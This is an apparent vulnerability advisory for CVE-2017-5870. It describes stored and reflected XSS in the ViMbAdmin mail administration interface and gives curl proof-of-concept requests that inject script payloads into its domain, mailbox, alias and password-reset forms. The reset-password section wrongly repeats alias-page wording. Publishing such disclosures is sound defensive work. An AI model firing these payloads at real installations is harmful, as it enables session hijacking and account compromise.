# [CVE-2017-5870] Multiple XSS vulnerabilities in ViMbAdmin

## Product Description

ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at www.vimbadmin.net.

## Details

**CVE ID**: CVE-2017-5870
    
**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-79

**CVSS Base Score**: 7.2

**CVSS vector**: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


## Proof of Concept

### Domain creation form

#### Exploit

The domain creation form is vulnerable to a stored XSS vulnerability, through the `domain` and `transport` variables:

```
curl 'http://<ip>/domain/add' -H 'Cookie: VIMBADMIN3=<SESSIONID>;' --data 'domain=testdomain%22%3E%3Cscript%3Ealert%28%27xss domain%27%29%3C%2Fscript%3E&description=none&backupmx=0&active=0&active=1&max_aliases=0&max_mailboxes=0&transport=virtual%22%3E%3Cscript%3Ealert%28%27XSS virtual%27%29%3C%2Fscript%3E' --compressed ;
```

The payload gets injected inside the `http://<ip>/domain/list` page.

#### Vulnerable code

The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.

### Mailbox creation form

#### Exploit

The mailbox creation form is vulnerable to a stored XSS vulnerability, in the `name` variable:

```
curl 'http://mailadmin.commeun.ninja/mailbox/add/did/<domain id>' -H 'Cookie: VIMBADMIN3=<SESSIONID>' --data 'local_part=test&domain=<domain id>&name=test%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&password=<password>&quota=0&alt_email=&cc_welcome_email='
```

The payload gets injected inside the `http://<ip>/mailbox/list` page.

#### Vulnerable code

The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.

### Alias creation form

#### Exploit

The alias creation form is vulnerable to a stored XSS vulnerability, in the `goto` variable:

```
curl 'http://<ip>/alias/add/did/<domain id>' -H 'Cookie: VIMBADMIN3=<SESSIONID>' --data 'local_part=test&domain=4&goto%5B%5D=test%40test.com%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E'
```

The payload gets injected inside the `http://<ip>/alias` page.

#### Vulnerable code

The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.

### On reset password page

#### Exploit

A reflected XSS vulnerability has been found on the alias creation form, using variables `captchatext`.

```
curl 'http://<ip>/auth/lost-password' --data 'username=none&captchaid=<captcha id>&requestnewimage=0&captchatext=none%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&login=Reset+Password'

```

The payload gets injected inside the `http://<ip>/alias` page.

#### Vulnerable code

The vulnerable code is located in the `_getFormLostPassword()` method of the `<vimbadmin directory>/application/controllers/AuthController.php` file.
